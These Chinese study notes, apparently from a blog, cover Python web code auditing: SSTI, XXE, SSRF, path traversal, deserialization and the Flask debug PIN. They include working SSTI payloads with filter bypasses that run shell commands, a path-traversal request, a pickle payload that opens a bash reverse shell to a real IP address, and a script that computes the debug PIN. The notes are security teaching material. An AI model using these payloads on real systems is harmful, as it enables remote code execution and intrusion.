Python 代码审计与安全编码
- Python 应用框架
- Django
- Flask
- Tornado
- Web.py
Python Web 漏洞距举例
- Django debug page XSS 漏洞
- Django 1.6 版本前 seesion 反序列化任意代码执行
- Django 1.6 以下,session 默认采用 picked
- …
Python(不单单是 Python) 的 Web 应用可能存在哪些问题?
- SQl 注入
- 模板注入 SSTI
- 格式化字符串
- 客户端 SESSION
- 路径穿越
- 反序列化
- Flask Debug Pin 码存在的安全风险
Web 通用漏洞 在 Python
- Sql 注入
- XSS
-
CSRF
- XXE
- Python 解析 XML 存在 XXE 的函数: lxml 模块
- 原因: libxml 2.9 以下默认导入外部实体, lxml 中默认
- SSRF
- 重定向
- pycurl 默认不跟随重定向, urllib/requests 跟随
- 协议支持
- urllib/urllib2/requests -> http/https/ftp
- pycurl 一般都支持
- 重定向
SSTI
- What is SSTI?
- 服务器模板注入和常见的 Web 注入的成因一样,也是服务端接受了
- 从 MVC 开发模式说起
- Model View Controller
- 模板注入是 Model 被用户控制
- 注入代码
# 由于 jekyll模板问题 % 我使用 PERSENT 代替
# 未过滤
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('ls').read()
# 过滤中括号[]
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
# 过滤引号''""
# 先获取 chr 函数,赋值给 chr, 后面拼接字符串
{ PERSENT set chr=().__class__.bases__.getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__chr PERSENT}
# 借助 request 对象
&cmd=id
# 过滤双下划线__
&class=__class__&mro=__mro__&subclasses=__subclasses__
# 过滤双大括号
{ PERSENT if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://localhost?i=`whoami`').read()=='p' PERSENT}1{PERSENT endif PERSENT}
格式化字符串
客户端 SESSION
- Tornado session 格式(六部分)
- 版本号
- len(value) : value
- key_version
- 时间戳
- cookie 的键
- cookie 的值 (base64)
- signature 的值
路径穿越
@users.route('/asserts/<path:path>')
def static_handler(path):
filename = os.path.join(app.root_path,'asserts',path)
if os.path.isfile(filename):
return send_file(filename)
else:
abort(404)
# curl localhost:8080/assert/..%2fuser.py
- 如何修复
- os.path.join 换成 flask 提供的 safe_join
- 过滤
- 使用 static 目录存放静态文件
反序列化
import os
import pickle
class test(object):
def __reduce__(self):
code='bash -c "bash -i >& /dev/tcp/118.89.20.188/12345 0<&1 2>&1"'
return (os.system, (code,))
print pickle.dump(test())
- 其他序列化函数
- yaml
- shelve
Flask Debug Pin
md5_list = [
'root', #当前用户,可通过读取 /ect/passwd 获取
'flask.app', #一般情况为固定值
'Flask', #一般情况为固定值
'usr/local/lib/python2.7/dist-packages/flask/app.pyc',#可通过debug错误页面获取
'mac地址十进制', #通过读取/sys/class/net/eth0/address获取,如果不是映射端口,可以通过 arp ip命令获取
'机器名' #通过读取/etc/machine-id(常为空) 或 /proc/sys/kernel/random/boot_id 获取
]
- 计算 pin 码
# -*- coding:utf-8 -*-
import hashlib
def get_pin(md5_list):
h = hashlib.md5()
for bit in md5_list:
if not bit:
continue
if isinstance(bit, unicode):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv